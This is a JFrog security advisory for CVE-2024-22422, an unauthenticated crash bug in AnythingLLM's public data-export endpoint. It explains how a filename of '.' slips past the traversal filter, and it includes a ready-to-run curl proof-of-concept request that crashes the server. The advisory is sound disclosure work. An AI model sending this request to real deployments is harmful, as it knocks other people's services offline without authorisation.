JFrog Security Research
< Back

- AnythingLLM Unhandled Exception DoS

CVE-2024-22422 | CVSS 7.5

JFrog Severity:high

Discovered ByNatan Nehoraiof the JFrog Security Research Team

Published 22 Jan, 2024 | Last updated 22 Jan, 2024

An API route (file export) can allow an unauthenticated attacker to crash the AnythingLLM server resulting in a denial of service attack.

AnythingLLM

No version tags. Fixed in commit 08d33cf

The “data-export” endpoint is used to export files using the filename parameter as user input.

The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it.

An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it.

Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet.

As the API endpoint is unauthenticated there is only a need for a single HTTP request to crash the server:

curl -i -s -k -X $'GET' \
-H $'Host: localhost:3001' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' \
-H $'Accept: */*' \
-H $'Accept-Language: en-US,en;q=0.5' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Connection: close' \
$'http://localhost:3001/api/system/data-exports/.'

No mitigations are supplied for this issue

Advisory

Fix commit

< Back